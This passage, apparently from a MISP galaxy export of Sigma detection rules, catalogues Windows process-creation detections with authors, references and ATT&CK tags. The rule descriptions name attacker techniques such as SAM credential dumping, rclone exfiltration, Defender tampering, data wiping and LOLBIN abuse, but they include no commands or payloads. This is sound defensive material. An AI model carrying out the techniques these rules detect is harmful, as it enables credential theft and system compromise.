"level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_encoded_iex.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "88f680b8-070e-402c-ae11-d2914f2257f1", "value": "Encoded IEX" }, { "description": "Detects usage of the built-in PowerShell cmdlet \"Enable-WindowsOptionalFeature\" used as a Deployment Image Servicing and Management tool.\nSimilar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/12/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_windowsoptionalfeature.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps", "https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system", "https://learn.microsoft.com/en-us/windows/wsl/install-on-server", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_windowsoptionalfeature.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "c740d4cf-a1e9-41de-bb16-8a46a4f57918", "value": "Potential Suspicious Windows Feature Enabled - ProcCreation" }, { "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", "meta": { "author": "frack113", "creation_date": "2021/07/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml" ], "tags": [ "attack.collection", "attack.t1119" ] }, "related": [ { "dest-uuid": "30208d3e-0d6b-43c8-883e-44462a514619", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "aa2efee7-34dd-446e-8a37-40790a66efd7", "value": "Recon Information for Export with Command Prompt" }, { "description": "This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.", "meta": { "author": "Florian Roth", "creation_date": "2018/12/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_apt29_thinktanks.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml" ], "tags": [ "attack.execution", "attack.g0016", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "033fe7d6-66d1-4240-ac6b-28908009c71f", "value": "APT29" }, { "description": "Detects typical Dridex process patterns", "meta": { "author": "Florian Roth, oscd.community", "creation_date": "2019/01/10", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_malware_dridex.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dridex.yml" ], "tags": [ "attack.defense_evasion", "attack.privilege_escalation", "attack.t1055", "attack.discovery", "attack.t1135", "attack.t1033" ] }, "uuid": "e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e", "value": "Dridex Process Pattern" }, { "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", "meta": { "author": "frack113", "creation_date": "2022/01/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_reg_dump_sam.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dump_sam.yml" ], "tags": [ "attack.credential_access", "attack.t1003.002" ] }, "related": [ { "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "038cd51c-3ad8-41c5-ba8f-5d1c92f3cc1e", "value": "Registry Dump of SAM Creds and Secrets" }, { "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/01", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_reg_delete_services.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_services.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "05b2aa93-1210-42c8-8d9a-2fcc13b284f5", "value": "Delete Services Via Reg Utility" }, { "description": "Detects CrackMapExecWin Activity as Described by NCSC", "meta": { "author": "Markus Neis", "creation_date": "2018/04/08", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_dragonfly.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", "https://attack.mitre.org/software/S0488/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml" ], "tags": [ "attack.g0035", "attack.credential_access", "attack.discovery", "attack.t1110", "attack.t1087" ] }, "uuid": "04d9079e-3905-4b70-ad37-6bdf11304965", "value": "CrackMapExecWin" }, { "description": "Detects a \"dllhost\" spawning with no commandline arguments which is a very rare thing to happen and could indicate process injection activity or malware mimicking similar system processes", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/27", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_dllhost_no_cli.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/child-processes/", "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_dllhost_no_cli.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055" ] }, "uuid": "e7888eb1-13b0-4616-bd99-4bc0c2b054b9", "value": "Dllhost Process With No CommandLine" }, { "description": "Detects the use of Setres.exe to set the screen resolution and then potentially launch a file named \"choice\" (with any executable extension such as \".cmd\" or \".exe\") from the current execution path", "meta": { "author": "@gott_cyber", "creation_date": "2022/12/11", "falsepositive": [ "Legitimate usage of Setres" ], "filename": "proc_creation_win_lolbin_setres.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1583356502340870144", "https://lolbas-project.github.io/lolbas/Binaries/Setres/", "https://strontic.github.io/xcyclopedia/library/setres.exe-0E30E4C09637D7A128A37B59A3BC4D09.html", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_setres.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218", "attack.t1202" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "835e75bf-4bfd-47a4-b8a6-b766cac8bcb7", "value": "Use of Setres.exe" }, { "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", "meta": { "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group", "creation_date": "2021/05/10", "falsepositive": [ "Legitimate RClone use" ], "filename": "proc_creation_win_susp_rclone_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone", "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml" ], "tags": [ "attack.exfiltration", "attack.t1567.002" ] }, "related": [ { "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e37db05d-d1f9-49c8-b464-cee1a4b11638", "value": "Rclone Execution via Command Line or PowerShell" }, { "description": "Detects a copy execution that targets a shadow copy (sometimes used to copy registry hives that are in use)", "meta": { "author": "Max Altgelt, Tobias Michalski", "creation_date": "2021/08/09", "falsepositive": [ "Some rare backup scenarios" ], "filename": "proc_creation_win_susp_cmd_shadowcopy_access.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection", "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/", "https://twitter.com/vxunderground/status/1423336151860002816?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cmd_shadowcopy_access.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c73124a7-3e89-44a3-bdc1-25fe4df754b1", "value": "Copy from Volume Shadow Copy" }, { "description": "Detects execution of a set of builtin commands often used in recon stages by different attack groups", "meta": { "author": "Florian Roth, Markus Neis", "creation_date": "2018/08/22", "falsepositive": [ "False positives depend on scripts and administrative tools used in the monitored environment" ], "filename": "proc_creation_win_susp_builtin_commands_recon.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/haroonmeer/status/939099379834658817", "https://twitter.com/c_APT_ure/status/939475433711722497", "https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_builtin_commands_recon.yml" ], "tags": [ "attack.discovery", "attack.t1087", "attack.t1082", "car.2016-03-001" ] }, "uuid": "2887e914-ce96-435f-8105-593937e90757", "value": "Reconnaissance Activity Using BuiltIn Commands" }, { "description": "Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/02", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_dll_sideload_vmware_xfer.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dll_sideload_vmware_xfer.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "ebea773c-a8f1-42ad-a856-00cb221966e8", "value": "DLL Sideloading by VMware Xfer Utility" }, { "description": "Detects wscript/cscript executions of scripts located in user directories", "meta": { "author": "Margaritis Dimitrios (idea), Florian Roth (rule), oscd.community", "creation_date": "2019/01/16", "falsepositive": [ "Winzip", "Other self-extractors" ], "filename": "proc_creation_win_malware_script_dropper.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_script_dropper.yml" ], "tags": [ "attack.execution", "attack.t1059.005", "attack.t1059.007" ] }, "related": [ { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cea72823-df4d-4567-950c-0b579eaf0846", "value": "WScript or CScript Dropper" }, { "description": "Detects the execution utitilies often found in Visual Studio tools that hardcode the call to the binary \"link.exe\". They can be abused to sideload any binary with the same name", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_sideload_link_binary.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/0gtweet/status/1560732860935729152", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_sideload_link_binary.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6e968eb1-5f05-4dac-94e9-fd0c5cb49fd6", "value": "Sideloading Link.EXE" }, { "description": "Detects a suspicious script executions from temporary folder", "meta": { "author": "Florian Roth, Max Altgelt, Tim Shelton", "creation_date": "2021/07/14", "falsepositive": [ "Administrative scripts" ], "filename": "proc_creation_win_susp_script_exec_from_temp.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_temp.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "a6a39bdb-935c-4f0a-ab77-35f4bbf44d33", "value": "Suspicious Script Execution From Temp Folder" }, { "description": "Detects suspicious FromBase64String expressions in command line arguments", "meta": { "author": "Florian Roth", "creation_date": "2020/01/29", "falsepositive": [ "Administrative script libraries" ], "filename": "proc_creation_win_powershell_frombase64string.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml" ], "tags": [ "attack.t1027", "attack.defense_evasion", "attack.t1140", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "e32d4572-9826-4738-b651-95fa63747e8a", "value": "FromBase64String Command Line" }, { "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", "meta": { "author": "Florian Roth", "creation_date": "2022/05/20", "falsepositive": [ "Legitimate use of AnyDesk from a non-standard folder" ], "filename": "proc_creation_win_anydesk_susp_folder.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_susp_folder.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "065b00ca-5d5c-4557-ac95-64a6d0b64d86", "value": "Use of Anydesk Remote Access Software from Suspicious Folder" }, { "description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", "meta": { "author": "Florian Roth", "creation_date": "2022/01/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_proc_dump_rdrleakdiag.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_proc_dump_rdrleakdiag.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "6355a919-2e97-4285-a673-74645566340d", "value": "RdrLeakDiag Process Dump" }, { "description": "Detects a Windows command line executable started from MSHTA", "meta": { "author": "Michael Haag", "creation_date": "2019/01/16", "falsepositive": [ "Printer software / driver installations", "HP software" ], "filename": "proc_creation_win_mshta_spawn_shell.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trustedsec.com/july-2015/malicious-htas/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_spawn_shell.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.005", "car.2013-02-003", "car.2013-03-001", "car.2014-04-003" ] }, "related": [ { "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "03cc0c25-389f-4bf8-b48d-11878079f1ca", "value": "MSHTA Spawning Windows Shell" }, { "description": "Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources.\nData destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives\n", "meta": { "author": "frack113", "creation_date": "2021/12/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_cipher.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-3---overwrite-deleted-data-on-c-drive", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_cipher.yml" ], "tags": [ "attack.impact", "attack.t1485" ] }, "related": [ { "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4b046706-5789-4673-b111-66f25fe99534", "value": "Overwrite Deleted Data with Cipher" }, { "description": "Detects usage of Sysinternals PsService for service reconnaissance or tamper", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/16", "falsepositive": [ "Legitimate use of PsService by an administrator" ], "filename": "proc_creation_win_sysinternals_psservice.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/sysinternals/downloads/psservice", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psservice.yml" ], "tags": [ "attack.discovery", "attack.persistence", "attack.t1543.003" ] }, "uuid": "3371f518-5fe3-4cf6-a14b-2a0ae3fd8a4f", "value": "Use of Sysinternals PsService" }, { "description": "Detects suspicious ways to download files from Microsoft domains that are used to store attachments in Emails or OneNote documents", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2021/12/27", "falsepositive": [ "Scripts or tools that download attachments from these domains (OneNote, Outlook 365)" ], "filename": "proc_creation_win_susp_download_office_domain.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", "https://twitter.com/mrd0x/status/1475085452784844803?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" ], "tags": "No established tags" }, "uuid": "00d49ed5-4491-4271-a8db-650a4ef6f8c1", "value": "Suspicious Download from Office Domain" }, { "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry via the commandline. Which might indicate persistence attempt", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_persistence_typed_paths.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/dez_/status/1560101453150257154", "https://forensafe.com/blogs/typedpaths.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_persistence_typed_paths.yml" ], "tags": [ "attack.persistence" ] }, "uuid": "ec88289a-7e1a-4cc3-8d18-bd1f60e4b9ba", "value": "Persistence Via TypedPaths - CommandLine" }, { "description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", "meta": { "author": "Florian Roth", "creation_date": "2021/01/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_unc2452_cmds.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9be34ad0-b6a7-4fbd-91cf-fc7ec1047f5f", "value": "UNC2452 Process Creation Patterns" }, { "description": "Detects reg command lines that disable certain important features of Microsoft Defender", "meta": { "author": "Florian Roth", "creation_date": "2022/03/22", "falsepositive": [ "Rare legitimate use by administrators to test software (should always be investigated)" ], "filename": "proc_creation_win_reg_defender_tampering.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/swagkarna/Defeat-Defender-V1.2.0", "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_tampering.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "452bce90-6fb0-43cc-97a5-affc283139b3", "value": "Registry Defender Tampering" }, { "description": "Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence.", "meta": { "author": "Sreeman", "creation_date": "2020/09/29", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_modif_of_services_for_via_commandline.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modif_of_services_for_via_commandline.yml" ], "tags": [ "attack.persistence", "attack.t1543.003", "attack.t1574.011" ] }, "uuid": "38879043-7e1e-47a9-8d46-6bec88e201df", "value": "Modification Of Existing Services For Persistence" }, { "description": "Detect usage of the \"defaultpack.exe\" binary as a proxy to launch other programs", "meta": { "author": "frack113", "creation_date": "2022/12/31", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_defaultpack.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/", "https://www.echotrail.io/insights/search/defaultpack.exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml" ], "tags": [ "attack.t1218", "attack.defense_evasion", "attack.execution" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b2309017-4235-44fe-b5af-b15363011957", "value": "Lolbin Defaultpack.exe Use As Proxy" }, { "description": "Detects a suspicious execution of csc.exe, which uses a source in a suspicious folder (e.g. AppData)", "meta": { "author": "Florian Roth", "creation_date": "2019/08/24", "falsepositive": [ "Legitimate software from program files - https://twitter.com/gN3mes1s/status/1206874118282448897", "Legitimate Microsoft software - https://twitter.com/gabriele_pippi/status/1206907900268072962" ], "filename": "proc_creation_win_susp_csc_folder.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/gN3mes1s/status/1206874118282448897", "https://securityboulevard.com/2019/08/agent-tesla-evading-edr-by-removing-api-hooks/", "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf", "https://app.any.run/tasks/c6993447-d1d8-414e-b856-675325e5aa09/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_csc_folder.yml" ], "tags": [ "attack.defense_evasion", "attack.t1027.004" ] }, "related": [ { "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dcaa3f04-70c3-427a-80b4-b870d73c94c4", "value": "Suspicious Csc.exe Source File Folder" }, { "description": "Detects the use the .NET InstallUtil.exe application in order to download arbitrary files. The files will be written to %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/19", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_installutil_download.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/LOLBAS-Project/LOLBAS/pull/239", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_installutil_download.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "75edd216-1939-4c73-8d61-7f3a0d85b5cc", "value": "Suspicious Execution of InstallUtil To Download" }, { "description": "Detects the use of Inveigh a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/24", "falsepositive": [ "Very unlikely" ], "filename": "proc_creation_win_hack_inveigh.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/Kevin-Robertson/Inveigh", "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_inveigh.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b99a1518-1ad5-4f65-bc95-1ffff97a8fd0", "value": "Inveigh Hack Tool" }, { "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", "meta": { "author": "Tim Burrell", "creation_date": "2020/02/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_gallium.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml" ], "tags": [ "attack.credential_access", "attack.t1212", "attack.command_and_control", "attack.t1071" ] }, "related": [ { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "18739897-21b1-41da-8ee4-5b786915a676", "value": "GALLIUM Artefacts" }, { "description": "Detects suspicious command line patterns as seen being 